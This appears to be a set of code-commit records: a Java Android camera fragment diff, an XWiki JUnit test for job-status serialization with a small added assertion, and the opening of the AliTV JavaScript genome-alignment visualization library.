super.onSaveInstanceState(outState);
}
private void startReviewPicturesActivity() {
Bundle bundle = new Bundle();
Intent intent = new Intent(getActivity(), ReviewPicturesActivity.class);
bundle.putStringArrayList("pictures", pictures);
intent.putExtra("data", bundle);
startActivityForResult(intent, REVIEW_PICTURES_ACTIVITY_REQUEST);
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
switch (requestCode) {
case REVIEW_PICTURES_ACTIVITY_REQUEST:
if (resultCode == Activity.RESULT_OK
|| resultCode == Activity.RESULT_FIRST_USER) {
Bundle bundle = data.getBundleExtra("data");
this.pictures = bundle.getStringArrayList("pictures");
this.picturesTaken = this.pictures.size();
if (pictures.size() > 0) {
showLastPicture(
Uri.parse(this.pictures.get(pictures.size() - 1)));
}
displayPicturesTaken();
if (resultCode == Activity.RESULT_FIRST_USER) {
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED,
resultIntent);
getActivity().finish();
}
}
break;
}
}
/**
* This interface must be implemented by activities that contain this
* fragment to allow an interaction in this fragment to be communicated to
* the activity and potentially other fragments contained in that activity.
* See the Android Training lesson <a href=
* "http://developer.android.com/training/basics/fragments/communicating.html"
* >Communicating with Other Fragments</a> for more information.
*/
public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
void onFragmentInteraction(Uri uri);
}
}
| add default-case to switch() | src/de/evosec/fotilo/CamFragment.java | add default-case to switch() | <ide><path>rc/de/evosec/fotilo/CamFragment.java
<ide> }
<ide> }
<ide> break;
<add> default:
<add> break;
<ide> }
<ide> }
<ide> |
|
Java | lgpl-2.1 | da7ef4a4da42b8f5771d99c030d14b3b1066be84 | 0 | xwiki/xwiki-commons,xwiki/xwiki-commons | /*
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.xwiki.job.internal;
import java.io.File;
import java.io.IOException;
import java.util.Objects;
import javax.inject.Provider;
import javax.xml.parsers.ParserConfigurationException;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.slf4j.Logger;
import org.xwiki.component.manager.ComponentManager;
import org.xwiki.job.DefaultJobStatus;
import org.xwiki.job.DefaultRequest;
import org.xwiki.job.Request;
import org.xwiki.job.annotation.Serializable;
import org.xwiki.job.event.status.JobStatus;
import org.xwiki.job.test.SerializableStandaloneComponent;
import org.xwiki.job.test.StandaloneComponent;
import org.xwiki.logging.marker.TranslationMarker;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;
import static org.junit.jupiter.api.Assertions.assertSame;
import static org.mockito.Mockito.mock;
/**
* Validate {@link JobStatusSerializer}.
*
* @version $Id$
*/
public class JobStatusSerializerTest
{
private JobStatusSerializer serializer;
private File testFile = new File("target/test/status.xml");
@Serializable
private static class SerializableCrossReferenceObject
{
public SerializableCrossReferenceObject field;
public SerializableCrossReferenceObject()
{
this.field = this;
}
}
@Serializable
private static class SerializableObjectTest
{
public Object field;
public SerializableObjectTest(Object field)
{
this.field = field;
}
}
@Serializable
private static class CustomSerializableObject
{
public String field;
public CustomSerializableObject(String field)
{
this.field = field;
}
@Override
public boolean equals(Object obj)
{
return Objects.equals(((CustomSerializableObject) obj).field, this.field);
}
}
@Serializable
private static class SerializableCustomObject
{
public String field;
public SerializableCustomObject(String field)
{
this.field = field;
}
@Override
public boolean equals(Object obj)
{
return Objects.equals(((SerializableCustomObject) obj).field, this.field);
}
}
@Serializable(false)
private static class NotSerializableCustomObject
{
public String field;
public NotSerializableCustomObject(String field)
{
this.field = field;
}
@Override
public boolean equals(Object obj)
{
return Objects.equals(((NotSerializableCustomObject) obj).field, this.field);
}
@Override
public String toString()
{
return this.field;
}
}
@Serializable
private static class SerializableProvider implements Provider<String>
{
@Override
public String get()
{
return null;
}
}
private static class SerializableImplementationProvider implements Provider<String>, java.io.Serializable
{
private static final long serialVersionUID = 1L;
@Override
public String get()
{
return null;
}
}
private static class TestException extends Exception
{
private Object custom;
public TestException(String message, Throwable cause, Object custom)
{
super(message, cause);
this.custom = custom;
}
public Object getCustom()
{
return this.custom;
}
}
@BeforeEach
public void before() throws ParserConfigurationException
{
this.serializer = new JobStatusSerializer();
}
private JobStatus writeRead(JobStatus status) throws IOException
{
this.serializer.write(status, this.testFile);
return this.serializer.read(this.testFile);
}
// Tests
@Test
public void serializeUnserialize() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
writeRead(status);
}
@Test
public void serializeUnserializeWhenLogMessage() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
}
@Test
public void serializeUnserializeWhenLogMarker() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error(new TranslationMarker("translation.key"), "error message");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(new TranslationMarker("translation.key"), status.getLog().peek().getMarker());
}
@Test
public void serializeUnserializeWhenLogWithException() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message",
new TestException("exception message", new Exception("cause"), "custom"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("exception message", status.getLog().peek().getThrowable().getMessage());
assertEquals("cause", status.getLog().peek().getThrowable().getCause().getMessage());
assertNull(((TestException) status.getLog().peek().getThrowable()).getCustom(), "exception message");
}
@Test
public void serializeUnserializeWhenLogWithArguments() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", "arg1", "arg2");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("arg1", status.getLog().peek().getArgumentArray()[0]);
assertEquals("arg2", status.getLog().peek().getArgumentArray()[1]);
}
@Test
public void serializeUnserializeWhenLogWithNullArguments() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", "arg1", null, "arg3");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("arg1", status.getLog().peek().getArgumentArray()[0]);
assertNull(status.getLog().peek().getArgumentArray()[1]);
assertEquals("arg3", status.getLog().peek().getArgumentArray()[2]);
}
@Test
public void serializeUnserializeWhenLogWithComponentArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new DefaultJobStatusStore());
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(String.class, status.getLog().peek().getArgumentArray()[0].getClass());
}
@Test
public void serializeUnserializeWhenLogWithStandaloneComponentArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new StandaloneComponent());
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(String.class, status.getLog().peek().getArgumentArray()[0].getClass());
}
@Test
public void serializeUnserializeWhenLogWithSerializableStandaloneComponentArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableStandaloneComponent());
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(SerializableStandaloneComponent.class, status.getLog().peek().getArgumentArray()[0].getClass());
}
@Test
public void serializeUnserializeWhenLogWithCrossReference() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("message", new SerializableCrossReferenceObject());
status = writeRead(status);
assertNotNull(status.getLog());
SerializableCrossReferenceObject obj =
(SerializableCrossReferenceObject) status.getLog().peek().getArgumentArray()[0];
assertSame(obj, obj.field);
}
@Test
public void serializeUnserializeWhenLogWithComponentField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new DefaultJobStatusStore()));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithStandaloneComponentField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new StandaloneComponent()));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithLoggerField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(mock(Logger.class)));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithProviderField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(mock(Provider.class)));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithComponentManagerField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(mock(ComponentManager.class)));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithSerializableProviderField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new SerializableProvider()));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(SerializableProvider.class,
((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field.getClass());
}
@Test
public void serializeUnserializeWhenLogWithSerializableImplementationProviderField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new SerializableImplementationProvider()));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(SerializableImplementationProvider.class,
((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field.getClass());
}
@Test
public void serializeUnserializeWhenLogWithCustomObjectArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new CustomSerializableObject("value"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(new CustomSerializableObject("value"), status.getLog().peek().getArgumentArray()[0]);
}
@Test
public void serializeUnserializeWhenLogWithSerializableCustomObjectArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableCustomObject("value"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(new SerializableCustomObject("value"), status.getLog().peek().getArgumentArray()[0]);
}
@Test
public void serializeUnserializeWhenLogWithNotSerializableCustomObjectArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new NotSerializableCustomObject("value"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("value", status.getLog().peek().getArgumentArray()[0]);
}
@Test
public void serializeUnserializeProgress() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status = writeRead(status);
assertNotNull(status.getProgress());
assertEquals(0.0d, status.getProgress().getOffset(), 0.1d);
assertEquals(0.0d, status.getProgress().getCurrentLevelOffset(), 0.1d);
assertEquals("Progress with name [{}]", status.getProgress().getRootStep().getMessage().getMessage());
}
}
| xwiki-commons-core/xwiki-commons-job/src/test/java/org/xwiki/job/internal/JobStatusSerializerTest.java | /*
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.xwiki.job.internal;
import java.io.File;
import java.io.IOException;
import java.util.Objects;
import javax.inject.Provider;
import javax.xml.parsers.ParserConfigurationException;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.slf4j.Logger;
import org.xwiki.component.manager.ComponentManager;
import org.xwiki.job.DefaultJobStatus;
import org.xwiki.job.DefaultRequest;
import org.xwiki.job.Request;
import org.xwiki.job.annotation.Serializable;
import org.xwiki.job.event.status.JobStatus;
import org.xwiki.job.test.SerializableStandaloneComponent;
import org.xwiki.job.test.StandaloneComponent;
import org.xwiki.logging.marker.TranslationMarker;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;
import static org.junit.jupiter.api.Assertions.assertSame;
import static org.mockito.Mockito.mock;
/**
* Validate {@link JobStatusSerializer}.
*
* @version $Id$
*/
public class JobStatusSerializerTest
{
private JobStatusSerializer serializer;
private File testFile = new File("target/test/status.xml");
@Serializable
private static class SerializableCrossReferenceObject
{
public SerializableCrossReferenceObject field;
public SerializableCrossReferenceObject()
{
this.field = this;
}
}
@Serializable
private static class SerializableObjectTest
{
public Object field;
public SerializableObjectTest(Object field)
{
this.field = field;
}
}
@Serializable
private static class CustomSerializableObject
{
public String field;
public CustomSerializableObject(String field)
{
this.field = field;
}
@Override
public boolean equals(Object obj)
{
return Objects.equals(((CustomSerializableObject) obj).field, this.field);
}
}
@Serializable
private static class SerializableCustomObject
{
public String field;
public SerializableCustomObject(String field)
{
this.field = field;
}
@Override
public boolean equals(Object obj)
{
return Objects.equals(((SerializableCustomObject) obj).field, this.field);
}
}
@Serializable(false)
private static class NotSerializableCustomObject
{
public String field;
public NotSerializableCustomObject(String field)
{
this.field = field;
}
@Override
public boolean equals(Object obj)
{
return Objects.equals(((NotSerializableCustomObject) obj).field, this.field);
}
@Override
public String toString()
{
return this.field;
}
}
@Serializable
private static class SerializableProvider implements Provider<String>
{
@Override
public String get()
{
return null;
}
}
private static class SerializableImplementationProvider implements Provider<String>, java.io.Serializable
{
private static final long serialVersionUID = 1L;
@Override
public String get()
{
return null;
}
}
private static class TestException extends Exception
{
private Object custom;
public TestException(String message, Throwable cause, Object custom)
{
super(message, cause);
this.custom = custom;
}
public Object getCustom()
{
return this.custom;
}
}
@BeforeEach
public void before() throws ParserConfigurationException
{
this.serializer = new JobStatusSerializer();
}
private JobStatus writeRead(JobStatus status) throws IOException
{
this.serializer.write(status, this.testFile);
return this.serializer.read(this.testFile);
}
// Tests
@Test
public void serializeUnserialize() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
writeRead(status);
}
@Test
public void serializeUnserializeWhenLogMessage() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
}
@Test
public void serializeUnserializeWhenLogMarker() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error(new TranslationMarker("translation.key"), "error message");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(new TranslationMarker("translation.key"), status.getLog().peek().getMarker());
}
@Test
public void serializeUnserializeWhenLogWithException() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message",
new TestException("exception message", new Exception("cause"), "custom"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("exception message", status.getLog().peek().getThrowable().getMessage());
assertEquals("cause", status.getLog().peek().getThrowable().getCause().getMessage());
assertNull(((TestException) status.getLog().peek().getThrowable()).getCustom(), "exception message");
}
@Test
public void serializeUnserializeWhenLogWithArguments() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", "arg1", "arg2");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("arg1", status.getLog().peek().getArgumentArray()[0]);
assertEquals("arg2", status.getLog().peek().getArgumentArray()[1]);
}
@Test
public void serializeUnserializeWhenLogWithNullArguments() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", "arg1", null, "arg3");
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("arg1", status.getLog().peek().getArgumentArray()[0]);
assertNull(status.getLog().peek().getArgumentArray()[1]);
assertEquals("arg3", status.getLog().peek().getArgumentArray()[2]);
}
@Test
public void serializeUnserializeWhenLogWithComponentArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new DefaultJobStatusStore());
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(String.class, status.getLog().peek().getArgumentArray()[0].getClass());
}
@Test
public void serializeUnserializeWhenLogWithStandaloneComponentArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new StandaloneComponent());
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(String.class, status.getLog().peek().getArgumentArray()[0].getClass());
}
@Test
public void serializeUnserializeWhenLogWithSerializableStandaloneComponentArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableStandaloneComponent());
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(SerializableStandaloneComponent.class, status.getLog().peek().getArgumentArray()[0].getClass());
}
@Test
public void serializeUnserializeWhenLogWithCrossReference() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("message", new SerializableCrossReferenceObject());
status = writeRead(status);
assertNotNull(status.getLog());
SerializableCrossReferenceObject obj =
(SerializableCrossReferenceObject) status.getLog().peek().getArgumentArray()[0];
assertSame(obj, obj.field);
}
@Test
public void serializeUnserializeWhenLogWithComponentField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new DefaultJobStatusStore()));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithStandaloneComponentField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new StandaloneComponent()));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithLoggerField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(mock(Logger.class)));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithProviderField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(mock(Provider.class)));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithComponentManagerField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(mock(ComponentManager.class)));
status = writeRead(status);
assertNotNull(status.getLog());
assertNull(((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field);
}
@Test
public void serializeUnserializeWhenLogWithSerializableProviderField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new SerializableProvider()));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(SerializableProvider.class,
((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field.getClass());
}
@Test
public void serializeUnserializeWhenLogWithSerializableImplementationProviderField() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableObjectTest(new SerializableImplementationProvider()));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(SerializableImplementationProvider.class,
((SerializableObjectTest) status.getLog().peek().getArgumentArray()[0]).field.getClass());
}
@Test
public void serializeUnserializeWhenLogWithCustomObjectArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new CustomSerializableObject("value"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(new CustomSerializableObject("value"), status.getLog().peek().getArgumentArray()[0]);
}
@Test
public void serializeUnserializeWhenLogWithSerializableCustomObjectArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new SerializableCustomObject("value"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals(new SerializableCustomObject("value"), status.getLog().peek().getArgumentArray()[0]);
}
@Test
public void serializeUnserializeWhenLogWithNotSerializableCustomObjectArgument() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status.getLog().error("error message", new NotSerializableCustomObject("value"));
status = writeRead(status);
assertNotNull(status.getLog());
assertEquals("error message", status.getLog().peek().getMessage());
assertEquals("value", status.getLog().peek().getArgumentArray()[0]);
}
@Test
public void serializeUnserializeProgress() throws IOException
{
JobStatus status = new DefaultJobStatus<Request>("type", new DefaultRequest(), null, null, null);
status = writeRead(status);
assertNotNull(status.getProgress());
assertEquals(0.0d, status.getProgress().getOffset(), 0.1d);
assertEquals(0.0d, status.getProgress().getCurrentLevelOffset(), 0.1d);
}
}
| [Misc] Improve mutation score (descartes). Verify that job status progress's message is correctly unserialized
| xwiki-commons-core/xwiki-commons-job/src/test/java/org/xwiki/job/internal/JobStatusSerializerTest.java | [Misc] Improve mutation score (descartes). Verify that job status progress's message is correctly unserialized | <ide><path>wiki-commons-core/xwiki-commons-job/src/test/java/org/xwiki/job/internal/JobStatusSerializerTest.java
<ide> assertNotNull(status.getProgress());
<ide> assertEquals(0.0d, status.getProgress().getOffset(), 0.1d);
<ide> assertEquals(0.0d, status.getProgress().getCurrentLevelOffset(), 0.1d);
<add> assertEquals("Progress with name [{}]", status.getProgress().getRootStep().getMessage().getMessage());
<ide> }
<ide> } |
|
JavaScript | mit | 8e7954426ce6132f0b6ebbd77e31cf4066cf2cc0 | 0 | BioInf-Wuerzburg/AliTV,BioInf-Wuerzburg/AliTV,AliTVTeam/AliTV,BioInf-Wuerzburg/AliTV,BioInf-Wuerzburg/AliTV,BioInf-Wuerzburg/AliTV,BioInf-Wuerzburg/AliTV,AliTVTeam/AliTV | /* global d3: false */
/* global $: false */
/* global _: false */
/* global document: false */
/**
* Creates an object of type AliTV for drawing whole genome alignment visualizations
* @author Markus Ankenbrand <[email protected]>
* @constructor
* @param {Object} svg - jQuery object containing a svg DOM element. Visualizations will be drawn on this svg. Size may be changed by object methods. Previous content will be deleted.
* @example
* // initializes an AliTV object (wga) on the svg element with id 'canvas'
* var svg = $('#canvas');
* var wga = new AliTV(svg);
*/
function AliTV(svg) {
/**
* property to contain the svg DOM element as jQuery Object
*/
this.svg = svg;
/**
* property to contain the svg DOM element as d3 Object
*/
this.svgD3 = d3.selectAll(svg);
/**
* property to store the data
* @property {Object} karyo - the chromosome information
* @property {Object} karyo.chromosomes - the chromosome details, karyo IDs as keys
* @property {Number} karyo.chromosomes.genome_id - number of genome to which this chromosome belongs
* @property {Number} karyo.chromosomes.length - length in bp
* @property {String} karyo.chromosomes.seq - sequence of the chromosome
* @property {Object} features - the feature information, feature IDs as keys
* @property {String} features.karyo - the karyo ID
* @property {Number} features.start - start position on the sequence
* @property {Number} features.end - end position on the sequence
* @property {Object} links - the link information, link IDs as keys
* @property {String} links.source - source feature of the link
* @property {String} links.target - target feature of the link
* @property {Number} links.identity - identity of the link
*/
this.data = {};
/**
* property to store data specific drawing options (structure highly dependent on data structure)
* @property {Object} filters - the data dependent displaying information
* @property {Object} filters.karyo - the chromosome dependent displaying information
* @property {Boolean} filters.skipChromosomesWithoutVisibleLinks - If a chromosome has no visible links, because they are filtered, it is possible to skip this chromosome.
* @property {Boolean} filters.skipChromosomesWithoutLinks - If a chromosome has no links, the user have the possibility to skip them.
* @property {Boolean} filters.showAllChromosomes - Allows to show all chromosomes, even if when they are set not visible.
* @property {Array} filters.karyo.order - array of chromosome IDs in the desired order (circular layout)
* @property {Array} filters.karyo.genome_order - array of genome IDs in the desired order (linear layout)
* @property {Object} filters.karyo.chromosomes - the chromosome drawing details, karyo IDs as keys
* @property {Boolean} filters.karyo.chromosomes.reverse - should the sequence be treated as its reverse (complement)
* @property {Boolean} filters.karyo.chromosomes.visible - should the sequence be displayed at all
* @property {Number} filters.links.minLinkIdentity - The minimum identity of links which should be draw.
* @property {Number} filters.links.maxLinkIdentity - The maximum identity of links which should be draw.
* @property {Number} filters.links.minLinkLength - The minimum length of links, which should be draw in bp.
* @property {Number} filters.links.maxLinkLength - The maximum length of links, which should be draw in bp.
*/
this.filters = {};
/**
* property to store configuration options
* @property {Object} linear - The configuration options for the linear layout.
* @property {Boolean} linear.drawAllLinks - Only adjacent links should be drawn, but the user has the possibility to set this value on true, so all links will be drawn.
* @property {String} linear.startLineColor - The start color of the color gradient for drawing karyos according to their genomeId
* @property {String} linear.endLineColor - The end color of the color gradient.
* @property {Object} circular - The configuration options for the circular layout.
* @property {Number} circular.tickSize - The size of the ticks in pixels.
* @property {Number} minLinkIdentity - The minimum of the link identity the user wants to color.
* @property {Number} maxLinkIdentity - The maximum of the link identity the user wants to color.
* @property {Number} midLinkIdentity - The middle of the link identity the user wants to color.
* @property {String} minLinkIdentityColor - The color of the minimum link.
* @property {String} maxLinkIdentityColor - The color of the maximum link.
* @property {String} midLinkIdentityColor - The color of the middle link.
* @property {Number} minLinkLength - The minimum length of a link:
* @property {Number} maxLinkLength - The maximum length of a link.
* @property {Object} graphicalParameters - The configuration options for all graphical parameters.
* @property {Number} graphicalParameters.width - The width of the svg in px.
* @property {Number} graphicalParameters.height - The height of the svg in px.
* @property {Number} graphicalParameters.karyoHeight - The height of each chromosome in px.
* @property {Number} graphicalParameters.karyoDistance - The horizontal distance between adjacent chromosomes of the same genome in bp.
* @property {Number} graphicalParameters.linkKaryoDistance - The vertical distance between chromosomes and links in px.
* @property {Number} graphicalParameters.tickDistance - The distance in bp of ticks on the drawn chromosomes.
* @property {String} layout - Contains the current layout, this means linear or circular.
*/
this.conf = {
linear: {
drawAllLinks: false,
startLineColor: "#49006a",
endLineColor: "#1d91c0",
},
circular: {
tickSize: 5
},
graphicalParameters: {
width: 1000,
height: 1000,
karyoHeight: 30,
karyoDistance: 10,
linkKaryoDistance: 10,
tickDistance: 100
},
minLinkIdentity: 40,
maxLinkIdentity: 100,
midLinkIdentity: 60,
minLinkIdentityColor: "#D21414",
maxLinkIdentityColor: "#1DAD0A",
midLinkIdentityColor: "#FFEE05",
minLinkLength: 100,
maxLinkLength: 5000,
layout: "linear"
};
// Initialize svg size
svg.height(this.conf.graphicalParameters.height);
svg.width(this.conf.graphicalParameters.width);
}
/**
* Sets the data of the AliTV object.
* For the required format see the documentation of the data property
* @author Markus Ankenbrand <[email protected]>
